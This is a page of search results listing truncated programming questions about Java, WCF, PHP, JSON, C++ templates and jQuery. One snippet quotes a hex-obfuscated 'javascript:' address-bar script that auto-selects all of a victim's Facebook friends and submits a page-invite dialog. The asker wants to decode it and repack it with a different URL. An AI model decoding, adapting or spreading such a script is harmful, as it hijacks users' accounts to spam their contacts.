Search Results

Search found 47805 results on 1913 pages for 'return address'.

Page 107/1913 | < Previous Page | 103 104 105 106 107 108 109 110 111 112 113 114  | Next Page >

  • Address calling class

    - by Samuel
    I have an abstract class Moveable with the method abstract void move() which is extended by the class Bullet and the abstract class Character, and Character is extended by the class Survivor and the class Zombie. In Survivor and Bullet the move() method doesnt require any parameters while in the class Zombie the move() method depends on the actual position of the survivor. The survivor and multiple zombies are created in the class Gui. I wanted to access the survivor in Zombie - what's the best way of doing this? In Gui i wrote a method getSurvivor() but i don't see how to access this method in Zombie? I am aware that as a workaround i could just pass a [Survivor survivor] as parameter in move() and ignore it in Bullet and Survivor, but that feels so ... bad practice.

    Read the article

  • Soapui mocking services which return json

    - by eeek
    Microsoft Ajax can expose webservices which respond with json or xml depending on configuration. I would like to mock these services using soap ui. Using the wsdl I can do this to mock the services in the case where xml is returned, however how can I mock the response when JSON is returned?

    Read the article

  • HTML form submits and the hostname changes to IP address

    - by Shamik
    I am facing a peculiar problem. The problem is, my webapp is being installed behind a proxy. The request gets submitted to the proxy which forwards the request to the original host that is running the websphere web application. The problem I am facing is, when I access the webapp, its URL looks like the below http://www.myproxy.com Lets say I get a form on this URL, when I submit the form, it is getting submitted to another URL - http://10.1.2.87 Since the URL is changing, application server thinks it is a different session and throws the login page again. The login page comes thru a filter which checks whether user is already authenticated in the session or not. I do not have much knowledge on proxy settings .. where do you think is the problem?

    Read the article

  • Template deduction based on return type?

    - by Marlon
    I'd like to be able to use template deduction to achieve the following: GCPtr<A> ptr1 = GC::Allocate(); GCPtr<B> ptr2 = GC::Allocate(); instead of (what I currently have): GCPtr<A> ptr1 = GC::Allocate<A>(); GCPtr<B> ptr2 = GC::Allocate<B>(); My current Allocate function looks like this: class GC { public: template <typename T> static GCPtr<T> Allocate(); }; Would this be possible to knock off the extra < A and < B? Thanks

    Read the article

  • Dropdownmenu SELECTED value as per value return fromDB

    - by Faizan Qadri
    All i am trying to do is to set the selected value of drop down menu according to the particular value returned from the database like if person saved his gender as 'Male' and he wants to update his profile then the selected option shown on the Gender's dropdown llist should be shown as Male cause if this doesn't happen 'Poor guy becomes a female due to this small problem in my code' KINDLY HELP!!!!!!! MY Current Code: <select name="Gender" id="Gender"> <option selected="selected"><?php echo $row_Recordset1['Gender']; ?></option> <option value="Male">Male</option> <option value="Female">Female</option> </select> The above code work fine but causes repitition of values in dropdown like Male Male Female

    Read the article

  • issue when outputting an http:// address in a sub-array with json and php

    - by Patrick
    Im trying to achieve an output like this {"status":"ok","0":{"id":"11","title":"digg","url":"http://www.digg.com"}} but instead i am getting this {"status":"ok","0":{"id":"11","title":"digg","url":"http:\/\/www.digg.com"}} this is the php code im using to generate the json $links = array('id'=>'11','title'=>'digg','url'=>"http://www.digg.com"); $msg = array('status'=>'ok',$links); echo json_encode($msg); any idea what is causing this?

    Read the article

  • Exit code 3 (not my return value, looking for source)

    - by Kathoz
    Greetings, my program exits with the code 3. No error messages, no exceptions, and the exit is not initiated by my code. The problem occurs when I am trying to read extremely long integer values from a text file (the text file is present and correctly opened, with successful prior reading). I am using very large amounts of memory (in fact, I think that this might be the cause, as I am nearly sure I go over the 2GB per process memory limit). I am also using the GMP (or, rather, MPIR) library to multiply bignums. I am fairly sure that this is not a file I/O problem as I got the same error code on a previous program version that was fully in-memory. System: MS Visual Studio 2008 MS Windows Vista Home Premium x86 MPIR 2.1.0 rc2 4GB RAM Where might this error code originate from? EDIT: this is the procedure that exits with the code void condenseBinSplitFile(const char *sourceFilename, int partCount){ //condense results file into final P and Q std::string tempFilename; std::string inputFilename(sourceFilename); std::string outputFilename(BIN_SPLIT_FILENAME_DATA2); mpz_class *P = new mpz_class(0); mpz_class *Q = new mpz_class(0); mpz_class *PP = new mpz_class(0); mpz_class *QQ = new mpz_class(0); FILE *sourceFile; FILE *resultFile; fpos_t oldPos; int swapCount = 0; while (partCount > 1){ std::cout << partCount << std::endl; sourceFile = fopen(inputFilename.c_str(), "r"); resultFile = fopen(outputFilename.c_str(), "w"); for (int i=0; i<partCount/2; i++){ //Multiplication order: //Get Q, skip P //Get QQ, mul Q and QQ, print Q, delete Q //Jump back to P, get P //Mul P and QQ, delete QQ //Skip QQ, get PP //Mul P and PP, delete P and PP //Get Q, skip P mpz_inp_str(Q->get_mpz_t(), sourceFile, CALC_BASE); fgetpos(sourceFile, &oldPos); skipLine(sourceFile); skipLine(sourceFile); //Get QQ, mul Q and QQ, print Q, delete Q mpz_inp_str(QQ->get_mpz_t(), sourceFile, CALC_BASE); (*Q) *= (*QQ); mpz_out_str(resultFile, CALC_BASE, Q->get_mpz_t()); fputc('\n', resultFile); (*Q) = 0; //Jump back to P, get P fsetpos(sourceFile, &oldPos); mpz_inp_str(P->get_mpz_t(), sourceFile, CALC_BASE); //Mul P and QQ, delete QQ (*P) *= (*QQ); (*QQ) = 0; //Skip QQ, get PP skipLine(sourceFile); skipLine(sourceFile); mpz_inp_str(PP->get_mpz_t(), sourceFile, CALC_BASE); //Mul P and PP, delete PP, print P, delete P (*P) += (*PP); (*PP) = 0; mpz_out_str(resultFile, CALC_BASE, P->get_mpz_t()); fputc('\n', resultFile); (*P) = 0; } partCount /= 2; fclose(sourceFile); fclose(resultFile); //swap filenames tempFilename = inputFilename; inputFilename = outputFilename; outputFilename = tempFilename; swapCount++; } delete P; delete Q; delete PP; delete QQ; remove(BIN_SPLIT_FILENAME_RESULTS); if (swapCount%2 == 0) rename(sourceFilename, BIN_SPLIT_FILENAME_RESULTS); else rename(BIN_SPLIT_FILENAME_DATA2, BIN_SPLIT_FILENAME_RESULTS); }

    Read the article

  • Regular Expression to return the contents of a HTML tag received as a string of text

    - by Nathan Hernandez
    I have a string in my code that I receive that contains some html tags. It is not part of the HTML page being displayed so I cannot grab the html tag contents using the DOM (i.e. document.getElementById('tag id').firstChild.data); So, for example within the string of text would appear a tag like this: 12 My question is how would I use a regular expression to access the '12' numeric digit in this example? This quantity could be any number of digits (i.e. it is not always a double digit). I have tried some regular expressions, but always end up getting the full span tag returned along with the contents. I only want the '12' in the example above, not the surrounding tag. The id of the tags will always be 'myQty' in the string of text I receive. Thanks in advance for any help!

    Read the article

  • Wait until user press enter in textbox in another form and return value

    - by ekapek
    Hello, I am new to C# and I'm trying to do sth like this: myList = list of 1000+ string values; 1.StartNewThreads(50); //50 is the numbers of new threads 2.DoSth1(next value from myList); 3.DoSth2(); 4. var value = { ShowNewImageForm(); //show only if not another ImageForm is displayed if another is show - wait WaitUntilUserPressEnterInTextBox(); ReturnValueFormTextbox(); } 5.DoSth3(); 6.StartNewThread(); For now I have: foreach(String s in myList ) { DoSth1(s); DoSth2(); DoSth3(); } And now I'm looking for ideas to points 1,3,6 Can You suggest me how to resolve this? How to start 50 threads How to get value from textbox in another form when user press enter

    Read the article

  • Javascript in address bar, how do I decipher?

    - by DoMx
    Hello stackoverflow! I have a javascript code that appears to be encrypted: javascript:var _0xe788=[&quot;\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C&quot;,&quot;\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x62\x6F\x64\x79&quot;,&quot;\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64&quot;,&quot;\x3C\x61\x20\x69\x64\x3D\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3D\x22\x23\x22\x20\x61\x6A\x61\x78\x69\x66\x79\x3D\x22\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70\x3F\x63\x6C\x61\x73\x73\x3D\x46\x61\x6E\x4D\x61\x6E\x61\x67\x65\x72\x26\x61\x6D\x70\x3B\x6E\x6F\x64\x65\x5F\x69\x64\x3D\x31\x31\x36\x38\x37\x38\x34\x39\x34\x39\x39\x32\x36\x35\x37\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x20\x70\x72\x6F\x66\x69\x6C\x65\x5F\x61\x63\x74\x69\x6F\x6E\x20\x61\x63\x74\x69\x6F\x6E\x73\x70\x72\x6F\x5F\x61\x22\x20\x72\x65\x6C\x3D\x22\x64\x69\x61\x6C\x6F\x67\x2D\x70\x6F\x73\x74\x22\x3E\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6F\x20\x46\x72\x69\x65\x6E\x64\x73\x3C\x2F\x61\x3E&quot;,&quot;\x73\x75\x67\x67\x65\x73\x74&quot;,&quot;\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73&quot;,&quot;\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74&quot;,&quot;\x63\x6C\x69\x63\x6B&quot;,&quot;\x69\x6E\x69\x74\x45\x76\x65\x6E\x74&quot;,&quot;\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74&quot;,&quot;\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C&quot;,&quot;\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D&quot;,&quot;\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70&quot;,&quot;\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67&quot;,&quot;\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x22\x67\x6F\x6F\x67\x6C\x65\x2E\x63\x6F\x6D\x22\x20\x73\x74\x79\x6C\x65\x3D\x22\x77\x69\x64\x74\x68\x3A\x20\x38\x32\x30\x70\x78\x3B\x20\x68\x65\x69\x67\x68\x74\x3A\x20\x36\x30\x30\x70\x78\x3B\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x30\x20\x73\x63\x72\x6F\x6C\x6C\x69\x6E\x67\x3D\x22\x6E\x6F\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E&quot;];var variables=[_0xe788[0],_0xe788[1],_0xe788[2],_0xe788[3],_0xe788[4],_0xe788[5],_0xe788[6],_0xe788[7],_0xe788[8],_0xe788[9],_0xe788[10],_0xe788[11],_0xe788[12],_0xe788[13]]; void (document[variables[2]](variables[1])[variables[0]]=variables[3]);var ss=document[variables[2]](variables[4]);var c=document[variables[6]](variables[5]);c[variables[8]](variables[7],true,true); void ss[variables[9]](c); void setTimeout(function (){fs[variables[10]]();} ,4000); void setTimeout(function (){SocialGraphManager[variables[13]](variables[11],variables[12]);} ,5000); void (document[variables[2]](variables[1])[variables[0]]=_0xe788[14]); I have seen similar instances and I have heard it may be Hex. I have been doing some google research and have found some online deciphers for Hex yet they all seem to struggle decrypting the code. I basically need to decipher this code, change some variables and repack it exactly how I found it but replacing a URL. How can I go about this? Are there any free online tools available? Many thanks.

    Read the article

  • Why does GetTextFace always return "system"?

    - by user545142
    I am trying to get the font of controls in other applications. When I try WM_GETFONT, it returns 0. This my code: [DllImport("User32.DLL")] public static extern IntPtr SendMessage(IntPtr hWnd, int Msg, int wParam, int lParam); IntPtr fx = SendMessage(button1.Handle, 0x31, 0, 0); When I use GetTextFace with a button, it always returns "system". This is my code: StringBuilder Buff = new StringBuilder(256); IntPtr dc = GetDCEx(button1.Handle, IntPtr.Zero, DeviceContextValues.Window |DeviceContextValues.Cache | DeviceContextValues.ClipSiblings | DeviceContextValues.IntersectRgn); IntPtr hfont = GetTextFace(dc, 256, Buff); Of course I'm sure I changed the font type. How can I solve this problem? I am using C# under Windows 7.

    Read the article

  • ABPeoplePicker select and return a phone number

    - by palominoz
    Under (BOOL)peoplePickerNavigationController:(ABPeoplePickerNavigationController *) peoplePicker shouldContinueAfterSelectingPerson:(ABRecordRef)person property:(ABPropertyID)property identifier:(ABMultiValueIdentifier)identifier{} is it possible to get returned the phone number or somewhat the user has clicked?

    Read the article

  • getView() in CountDownTimer's onTick return sometimes null

    - by HexWrench
    I had recently a crash report where I could see that in the CountDownTimer's onTick method the getView() call returns null. I use the onTick method to display the remaining time in a textView. The textView is inside a Fragment. Since the CountDownTimer runs in the UI thread I have no idea why this had happened. What could be the cause for this and what is a possible workaround for this problem? Thanks!

    Read the article

  • facebook graph api does not return all feed items on facebook page

    - by Nick Franceschina
    at the time of this question, if you go here: http://www.facebook.com/realplayer you'll see six posts down, I have posted a photo with a message of "#highfive Cincinnati, OH" but if you to either of these: http://graph.facebook.com/realplayer/feed http://graph.facebook.com/realplayer/tagged the JSON that is returned seemingly includes everything on the wall, except for MY post. there is another photo post from someone else down below mine, and it is showing up (and both my photo and his photo are in the "Fan photos" section) obviously, since I can see everything with these links already, it appears that access_token is not a part of the equation... BUT, some more info: if I use an access_token from a session that isn't me, I can't see the post in the JSON if I use an access_token from MY logged in session, then I DO see the post in the JSON so I'm very confused. if everyone in the world can see those posts on the wall without even authenticating, then I expect all of them to come back in the graph api as well. anyone have thoughts on this? I am aware of the "manage_page" permission... which I can use to get a list of accounts and special offline access tokens for those pages... and that's something I can explore... but it seems like alot of work when my post seemingly SHOULD be there in the graph

    Read the article

  • VBA-Excel return multidimensional array from a function

    - by alesdario
    I'm trying to write a function which returns a multidimensional array. The problem is that the size of the array isn't defined. My array is initialized in the function below my_list() Dim my_list() As String Public Sub Load_My_List() Dim last_column As Integer last_column = some_helper.Get_Last_Column(somw_worksheet) 'my array is resized in this point ReDim my_list(1 To last_column - 1, 1) Dim i As Integer i = 1 For index= 2 To ultima_colonna my_list(i, 0) = some_worksheet.Cells(2, index).value my_list(i, 1) = index i = i + 1 Next index End Sub So, how can i write a function which returns my_list ? Something like the function below generate a mismacthing type error Public function Get_My_List as String() Get_My_List = my_list End Function and how can i call this function properly? I think that something like Dim test() as String test = Get_My_List will doesn't work

    Read the article

  • Return numerical array in python

    - by khan
    Okay..this is kind of an interesting question. I have a php form through which user enters values for x and y like this: X: [1,3,4] Y: [2,4,5] These values are stored into database as varchars. From there, these are called by a python program which is supposed to use them as numerical (numpy) arrays. However, these are called as plain strings, which means that calculation can not be performed over them. Is there a way to convert them into numerical arrays before processing or is there something else which is wrong? Helpp!!

    Read the article

  • WCF Service Problem Only in Production when return larger objects

    - by Ronnie Overby
    First, here's my service contract: [ServiceContract] public interface IUpdateService { [OperationContract] IEnumerable<SoftwareUpdate> GetUpdates(string version); [OperationContract] bool AreUpdatesAvailable(string version); } And here's SoftwareUpdate: [DataContract] public class SoftwareUpdate { [DataMember] public Version Version { get; set; } [DataMember] public byte[] UpdateArchive { get; set; } } The problem I am having is that, in production, as the UpdateArchive property begins to contain more data.

    Read the article

  • New line or Carraige Return syntax problems

    - by Smoka
    Im pretty new to coding, heres my problem. Results->Text = "G55 > Y" + System::Convert::ToString(destY); "Results" is a System.Windows.Forms.Textbox "multiline btw", or so says VS. That line works fine, but i need a "new line or CR" at the end, so that i can repeat that line with different Literals and a different var in ToString. For days now ive tried different syntax's ive read about, and i cant get it to take any of them. Or even a complete different way to input text into Results-Text that would allow for tidy multiline use. Sidenote: since im using -Text and System::Convert::ToString in VC, would this code be considered just c++ or .net or CLI? to tighten my searches.

    Read the article

  • Changing memory address of a char*

    - by Randall Flagg
    I have the following code: str = "ABCD"; //0x001135F8 newStr = "EFGH"; //0x008F5740 *str after realloc at 5th position - //0x001135FC I want it to point to: 0x008F5740 void str_cat(char** str, char* newStr) { int i; realloc(*str, strlen(*str) + strlen(newStr) + 1); //*str is now 9 length long // I want to change the memory reference value of the 5th char in *str to point to newStr. // Is this possible? // &((*str) + strlen(*str)) = (char*)&newStr; //This is my problem (I think) }

    Read the article

  • How to use jQuery to make a call to c# file to get return value

    - by aspdotnetuser
    Hi, I want to use jQuery to make a call to a c# web service called CheckUserName.ashx which checks whether that username is valid and returns an error message as a string. How can I use to jQuery to do this? Would the code be something like the following? jQuery.ajax({ type: "GET", url: "/services/VerifyUsername.ashx", data: "ErrorMessage", success: function (msg) { alert("success"); }, error: function (msg, text) { alert(text); } }); }); Any help will be appreciated! Thanks,

    Read the article

< Previous Page | 103 104 105 106 107 108 109 110 111 112 113 114  | Next Page >